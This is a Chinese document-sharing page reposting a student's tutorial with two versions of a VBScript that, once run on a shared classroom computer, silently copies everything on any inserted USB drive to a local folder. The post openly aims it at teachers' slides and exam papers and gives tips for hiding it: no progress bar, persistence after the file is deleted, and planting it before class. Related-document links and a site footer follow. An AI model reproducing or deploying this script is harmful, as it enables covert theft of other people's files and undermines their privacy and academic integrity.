当前位置:首页 >> 英语 >> U盘插入自动复制技能 代码 大分享

U盘插入自动复制技能 代码 大分享


U 盘插入自动复制,有效对付那些不肯给 PPT 的老师,还有一定几率拿到期末考试卷 子···有图有真相!业界良心的好东西! !现在看还来得及! ! !

代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制 U 盘里的东西的时候不会出现进度条,完全后台运行,老师绝对看不出

同样的建立一个文本文档,WIN+R 里面打

NOTEPAD ,或者自己新建一个都一样

把下面的代码复制进去

set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") on error resume next do wscript.sleep 1000 if fso.driveexists("U 盘的盘符") then fso.copyfile "U 盘的盘符加*号","要复制到的目录" fso.copyfolder "U 盘的盘符加*号","要复制到的目录" wscript.sleep 20000 end if loop

注意标颜色的地方要自己改 蓝色的就是要复制到的目录,比如要复制到 C 盘 USB 文件夹里,则用 C:\USB\代替 蓝色部分,注意大小写,同时必须确保 USB 这个文件 夹存在。 红色的是 U 盘的盘符,比如新插进去的 U 盘是 E 盘,则用 e:\*代替红色部分,F 盘 就是 f:\*, 第一个 U 盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。

注意和第一个的区别

复制好也改好后保存文件就 OK 了,然后改一下这个文件的名字,最好使用英文的, 然后后缀改成.VBS,原来是.TXT 的,如果后缀没哟显示,则先打开我的电 脑,在菜单栏里

找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去 掉就会显示出来后缀了。

后缀改好以后, 运行这个文件,就 OK 了。同时你可以把这个文件删除掉,它已经驻 留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了

要停止这个东西,在任务管理器里面 结束进程 WScript.exe 就可以了。这个软件学 过编程的都应该会看得懂有没有恶意代码。

另外我不是计算机专业的,这个东西目前对插 N 个 U 盘只会复制第一个,对插移动 硬盘会全部复制···要接近电脑请在上课之前,一般老师怕麻烦不会去重启的。

更新: 现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一 个文本文件,改名为 XX.VBS 使用即可

set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") dim USB, file, folder, files USB=inputbox("请输入 U 盘的盘符"&Chr(10)&"如插入的 U 盘为 F 盘, 则输入 F","插入的 U 盘盘符","F") folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到 D 盘,请输入 D:\","请输 入复制到的文件夹","C:\USB") files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制 EXCEL 文件,输入 xls;默 认为全部类型","请输入要复制的文件类型","ALL") USB=USB & ":\" folder=folder & "\" if files="ALL"then file=USB & "*" else file=USB & "*." & files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop


更多相关文档:

u盘自动复制代码

(分类:办公工具类) 代码优化了一下,把不是很重要...爆笑大撞脸 超爆笑笑话 有趣及爆笑图片汇集 绝对经典...U盘插入自动复制技能 代... 暂无评价 5页 免费 U盘...

DNF最新技能代码大全

DNF最新技能代码大全_计算机软件及应用_IT/计算机_专业...22001-22003 左轮子弹 22004-22006 自动 22007-22009...2002 1063 复制怪 6 8013 树刺 8043 冲击波 803...

DNF代码大全技能源码修改值

DNF代码大全技能源码修改值_互联网_IT/计算机_专业...级的空明巨剑的下插 50 万 11032 四方形电 11104...2002 1063 复制怪 6 8013 树刺 8043 冲击波 8031...

API U盘的检测及复制文件源代码

API U盘的检测及复制文件源代码_计算机软件及应用_IT...2014全国高考状元联手分享状元笔记 衡水中学文科学霸...U盘插入自动复制技能 代... 暂无评价 5页 免费 检测...

管理学原理习题3

U盘插入自动复制 4页 免费 高中生物基本知识点 23页...但还是可以将其分成两大类:一是程序性活动,二是(...技能。 4、把观点设想出来并加以处理以及将关系抽象...

辐射4秘籍代码大全

控制台指令大全: (注:实际代码是我找的 10 倍左右这些就够用了,除了没有技能代码以外全是实 用的) 示范:player.additem F 255 增加 255 的瓶盖,"F"这段...

dnf 代码大全

dnf 代码大全_计算机软件及应用_IT/计算机_专业资料...无头复制怪的烟.对队友无效果,只对敌人有效 1064 ...技能 8727 华丽的恶魔之手 8728 手消失效果 8729 ...

怎样提高U盘复制大容量文件的速度

怎样提高U盘复制大容量文件的速度_电脑基础知识_IT/计算机_专业资料。怎样提高 U 盘复制大容量文件的速度在使用 U 盘复制文件时候,一些大容量的文件,复制传输的...

魔兽世界单机版GM命令_物品代码大全

魔兽世界单机版GM命令_物品代码大全_计算机软件及应用_IT/计算机_专业资料。凯旋...技能 以及通过完成任务所学会的魔法技能 .npc 命令: .npc spawn #dist 添加 ...

如何解决目标文件、系统文件过大u盘复制大于4G文件提示无法复制的教程

如何解决目标文件、系统文件过大u盘复制大于4G文件提示无法复制的教程_电脑基础知识_IT/计算机_专业资料。如何解决目标文件、 系统文件过大 u 盘复 制大于 4G 文件...
更多相关标签:
u盘自动复制代码 | 友盟分享 复制链接 | 友盟添加复制分享链接 | ios 分享复制链接 | csgo复制分享链接 | ios友盟分享复制链接 | 右键复制时出现分享到 | 无法复制去除分享到 |
网站地图

文档资料共享网 nexoncn.com copyright ©right 2010-2020。
文档资料共享网内容来自网络,如有侵犯请联系客服。email:zhit325@126.com